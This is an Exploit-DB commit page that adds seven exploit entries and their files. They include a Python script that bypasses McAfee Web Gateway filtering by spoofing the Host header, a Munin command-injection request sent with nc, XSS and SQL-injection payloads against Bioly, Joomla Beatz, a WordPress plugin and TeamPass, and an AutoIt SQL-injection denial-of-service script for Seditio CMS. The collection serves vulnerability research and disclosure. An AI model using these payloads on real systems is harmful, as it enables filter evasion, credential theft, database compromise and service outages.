Skip to content

Commit a959c54

Browse files
author
Offensive Security
committed
DB: 2015-05-23
7 new exploits
1 parent eb3be45 commit a959c54

8 files changed

Lines changed: 262 additions & 1 deletion

File tree

‎files.csv‎

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17856,7 +17856,7 @@ id,file,description,date,author,platform,type,port
1785617856
20532,platforms/sco/dos/20532.txt,"ScreenOS 1.73/2.x Firewall Denial of Service Vulnerability",2001-01-08,Nsfocus,sco,dos,0
1785717857
20533,platforms/cgi/remote/20533.txt,"eXtropia bbs_forum.cgi 1.0 - Remote Arbitrary Command Execution Vulnerability",2001-01-07,scott,cgi,remote,0
1785817858
20534,platforms/multiple/dos/20534.txt,"WebMaster ConferenceRoom 1.8 Developer Edition DoS Vulnerability",2001-01-10,"Murat - 2",multiple,dos,0
17859-
20535,platforms/linux/local/20535.txt,"ReiserFS 3.5.28 Kernel Oops and Code Execution Vulnerability",2001-01-09,"Marc Lehmann",linux,local,0
17859+
20535,platforms/linux/local/20535.txt,"ReiserFS 3.5.28 Kernel - DoS & Code Execution Vulnerability",2001-01-09,"Marc Lehmann",linux,local,0
1786017860
20536,platforms/linux/dos/20536.java,"ProFTPD 1.2 SIZE Remote Denial of Service Vulnerability",2000-12-20,JeT-Li,linux,dos,0
1786117861
20537,platforms/multiple/remote/20537.txt,"Borland/Inprise Interbase 4.0/5.0/6.0 Backdoor Password Vulnerability",2001-01-10,"Frank Schlottmann-Goedde",multiple,remote,0
1786217862
20538,platforms/php/webapps/20538.txt,"Basilix Webmail 0.9.7 Incorrect File Permissions Vulnerability",2001-01-11,"Tamer Sahin",php,webapps,0
@@ -33464,3 +33464,10 @@ id,file,description,date,author,platform,type,port
3346433464
37078,platforms/php/webapps/37078.txt,"All-in-One Event Calendar Plugin 1.4 for WordPress /wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php Multiple Parameter XSS",2012-04-11,"High-Tech Bridge SA",php,webapps,0
3346533465
37079,platforms/php/webapps/37079.txt,"Forma LMS 1.3 Multiple SQL Injection Vulnerabilities",2015-05-21,"Filippo Roncari",php,webapps,80
3346633466
37080,platforms/php/webapps/37080.txt,"WordPress WP Symposium Plugin 15.1 SQL Injection Vulnerability",2015-05-21,"Hannes Trunde",php,webapps,80
33467+
37081,platforms/multiple/remote/37081.py,"McAfee Web Gateway 7.1.5.x 'Host' HTTP Header Security Bypass Vulnerability",2012-04-16,"Gabriel Menezes Nunes",multiple,remote,0
33468+
37082,platforms/php/webapps/37082.txt,"Bioly 1.3 'index.php' Cross Site Scripting and SQL Injection Vulnerabilities",2012-04-16,T0xic,php,webapps,0
33469+
37083,platforms/php/webapps/37083.txt,"Joomla! Beatz Plugin 1.1 Multiple Cross Site Scripting Vulnerabilities",2012-04-16,"Aung Khant",php,webapps,0
33470+
37084,platforms/cgi/webapps/37084.txt,"Munin 2.0~rc4-1 Remote Command Injection Vulnerability",2012-04-13,"Helmut Grohne",cgi,webapps,0
33471+
37085,platforms/php/webapps/37085.txt,"Seditio CMS 165 'plug.php' SQL Injection Vulnerability",2012-04-15,AkaStep,php,webapps,0
33472+
37086,platforms/php/webapps/37086.txt,"WordPress Yahoo Answer Plugin Multiple Cross Site Scripting Vulnerabilities",2012-04-16,"Ryuzaki Lawlet",php,webapps,0
33473+
37087,platforms/php/webapps/37087.txt,"TeamPass 2.1.5 'login' Field HTML Injection Vulnerability",2012-04-17,"Marcos Garcia",php,webapps,0

‎platforms/cgi/webapps/37084.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/53032/info
2+
3+
Munin is prone to a remote command-injection vulnerability.
4+
5+
Attackers can exploit this issue to inject and execute arbitrary commands in the context of the application.
6+
7+
printf 'GET /cgi-bin/munin-cgi-graph/%%0afoo%%0a/x/x-x.png HTTP/1.0\r\nHost: localhost\r\nConnection: close\r\n\r\n' | nc localhost 80

‎platforms/multiple/remote/37081.py‎

Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
source: http://www.securityfocus.com/bid/53015/info
2+
3+
McAfee Web Gateway is prone to a security-bypass vulnerability because it fails to properly enforce filtering rules.
4+
5+
A successful attack will allow an attacker to bypass intended security restrictions; this may aid in other attacks.
6+
7+
McAfee Web Gateway 7 is vulnerable; other versions may also be affected.
8+
9+
import socket,struct,sys,time
10+
from threading import Thread
11+
12+
13+
#The timeOut can be changed if the proxy is slow.
14+
#Tested in GMail, Facebook, Youtube and several blocked sites.
15+
#The proxy get the Host field of the http header and do not verify anything else.
16+
#It trusts on the HTTP Header and it can be modified by the attacker.
17+
18+
timeOut = 0.8
19+
isGet = 0
20+
hostNameG = ""
21+
pacoteGet = ""
22+
port = 8080 #Listening port
23+
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
24+
proxyPort = 8080 # proxy port
25+
26+
def handle(client,globalSock):
27+
28+
client.settimeout(timeOut)
29+
30+
global hostNameG
31+
32+
33+
while 1:
34+
35+
dados = ""
36+
tam = 0
37+
while 1:
38+
try:
39+
dados2 = client.recv(1024)
40+
tam = tam + len(dados2)
41+
dados = dados + dados2
42+
except socket.timeout:
43+
44+
break
45+
46+
47+
dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
48+
if dd != -1:
49+
dd2 = dados.find(":")
50+
hostName = dados[dd+8:dd2]
51+
52+
ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
53+
pacote = dados
54+
hostHeader = "Host: " + hostName
55+
pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
56+
pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
57+
58+
59+
60+
dados = pacote
61+
62+
getd = dados.find("GET ")
63+
getd2 = dados.find("//")
64+
getd3 = dados.find("/", getd2+2)
65+
hostName = dados[getd2+2:getd3]
66+
67+
68+
if getd != -1:
69+
globalSock.close()
70+
globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
71+
globalSock.connect((proxyAddr,proxyPort))
72+
globalSock.settimeout(timeOut)
73+
getd2 = dados.find("//")
74+
getd3 = dados.find("/", getd2+2)
75+
76+
hostName = dados[getd2+2:getd3]
77+
78+
proxyAuth = ""
79+
proxyAuthN = dados.find("Proxy-Authorization:")
80+
if proxyAuthN != -1:
81+
proxyAuthNN = dados.find("\r\n", proxyAuthN)
82+
proxyAuth = dados[proxyAuthN:proxyAuthNN]
83+
84+
85+
ipAddr = socket.gethostbyname(hostName)
86+
87+
info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
88+
if proxyAuthN != -1:
89+
info += proxyAuth + "\r\n"
90+
91+
info += "Host: www.uol.com.br\r\n\r\n"
92+
93+
globalSock.send(info)
94+
tam = 0
95+
gdata = ""
96+
97+
while 1:
98+
try:
99+
100+
gdata2 = globalSock.recv(1024)
101+
102+
tam = tam + len(gdata2)
103+
gdata = gdata + gdata2
104+
105+
if len(gdata2) == 0:
106+
break
107+
108+
109+
except socket.timeout:
110+
111+
break
112+
113+
114+
115+
116+
117+
globalSock.send(dados)
118+
tam = 0
119+
gdata = ""
120+
121+
while 1:
122+
try:
123+
124+
gdata2 = globalSock.recv(1024)
125+
126+
if len(gdata2) > 0:
127+
client.send(gdata2)
128+
129+
tam = tam + len(gdata2)
130+
gdata = gdata + gdata2
131+
132+
if len(gdata2) == 0:
133+
break
134+
135+
136+
except socket.timeout:
137+
138+
break
139+
140+
141+
142+
143+
print 'Proxy Bypass'
144+
print 'by Gabriel Menezes Nunes'
145+
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
146+
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
147+
print 'Attacked Proxy:',
148+
print proxyAddr
149+
print 'Listening on',
150+
print port
151+
sockzao.bind(("",port))
152+
153+
sockzao.listen(6)
154+
155+
while 1:
156+
print 'Waiting for connections'
157+
client, address = sockzao.accept()
158+
print 'Client Connected'
159+
print address
160+
globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
161+
globalSock.connect((proxyAddr,proxyPort))
162+
globalSock.settimeout(timeOut)
163+
164+
t = Thread(target=handle, args=(client,globalSock,))
165+
t.start()

‎platforms/php/webapps/37082.txt‎

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
source: http://www.securityfocus.com/bid/53018/info
2+
3+
Bioly is prone to multiple SQL-injection and cross-site scripting vulnerabilities.
4+
5+
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
Bioly 1.3 is vulnerable; other versions may also be affected.
8+
9+
Cross Site Scripting
10+
POST /index.php?action=3 HTTP/1.1
11+
Accept: */*
12+
Content-Type: application/x-www-form-urlencoded
13+
User-Agent: STORED XSS TEST
14+
Host: localhost
15+
Content-Length: 68
16+
Connection: Close
17+
Pragma: no-cache
18+
19+
# [Post Data:]==>
20+
email=>"><ScRiPt%20%0a%0d>alert(421135893768)%3B</ScRiPt>&register=1
21+
22+
23+
SQL Injection
24+
POST /index.php?action=11 HTTP/1.1
25+
Accept: */*
26+
Content-Type: application/x-www-form-urlencoded
27+
User-Agent: Sql Injection
28+
Host: localhost
29+
Content-Length: 68
30+
Connection: Close
31+
Pragma: no-cache
32+
33+
# [Post Data:]==>
34+
q=%00'

‎platforms/php/webapps/37083.txt‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
source: http://www.securityfocus.com/bid/53030/info
2+
3+
Joomla! Beatz Plugin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
4+
5+
An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
http://www.example.com/beatz/?option=com_content&view=frontpage&limitstart=5&%2522%253e%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2f%2558%2553%2553%2f%2529%253c%2f%2573%2563%2572%2569%2570%2574%253e=1
8+
9+
http://www.example.com/beatz/index.php?option=com_charts&view=charts&Itemid=76&chartkeyword=Acoustic&do=all%22%20style%3dbackground-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;"%20x=%22&option=com_charts
10+
11+
http://www.example.com/beatz/index.php?do=listAll&keyword=++Search";><img+src=0+onerror=prompt(/XSS/)>&option=com_find
12+
13+
http://www.example.com/beatz/index.php?option=com_videos&view=videos&Itemid=59&video_keyword="+style="width:1000px;height:1000px;position:absolute;left:0;top:0"+onmouseover="alert(/xss/)&search=Search

‎platforms/php/webapps/37085.txt‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
source: http://www.securityfocus.com/bid/53036/info
2+
3+
Seditio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
Seditio CMS 165 is vulnerable; prior versions may also be affected.
8+
9+
$exploit=$targetsite & "/plug.php?e=akastep',rd_location=(benchmark(unix_timestamp(now()),sha1(md5(now())))),rd_ip='" & @IPAddress1 & "',rd_lastseen='"; //Our exploit.
10+
$first=$targetsite & '/forums.php'; // our 1'st request will go here.
11+
12+
HttpSetUserAgent("I'm Denial Of Service Exploit for Seditio 165 throught sql injection"); //setting user agent 4 fun
13+
InetGet($first,'',1);// first request.After this our IP address will be inserted to table sed_redirecter.It is neccessary to exploit.
14+
Sleep(1500); //sleeping 1.5 second (*Waiting operation*)
15+
HttpSetUserAgent("Exploiting!!!!");//setting our user agent again 4 fun.
16+
InetGet($exploit,'',1,1) ; Now exploiting it with *do not wait* responce option.Until now We exploiting sql injection and causing Denial Of Service.
17+
Exit; //exit from exploit

‎platforms/php/webapps/37086.txt‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
source: http://www.securityfocus.com/bid/53037/info
2+
3+
Yahoo Answer plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
http://www.example.com/[]/[]/process-imported-question.php?catname=[xss]
8+
http://www.example.com/[]/[]/editautopilot.php?query=[xss]

‎platforms/php/webapps/37087.txt‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
source: http://www.securityfocus.com/bid/53038/info
2+
3+
TeamPass is prone to an HTML-injection vulnerability because it fails to sanitize user-supplied input.
4+
5+
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.
6+
7+
TeamPass 2.1.5 is vulnerable; other versions may also be affected.
8+
9+
POST /TeamPass/sources/users.queries.php HTTP/1.1
10+
type=add_new_user&login=[XSS]&pw=testing2&email=test&admin=false&manager=true&read_only=false&personal_folder=false&new_folder_role_domain=false&domain=test&key=key

0 commit comments

Comments
 (0)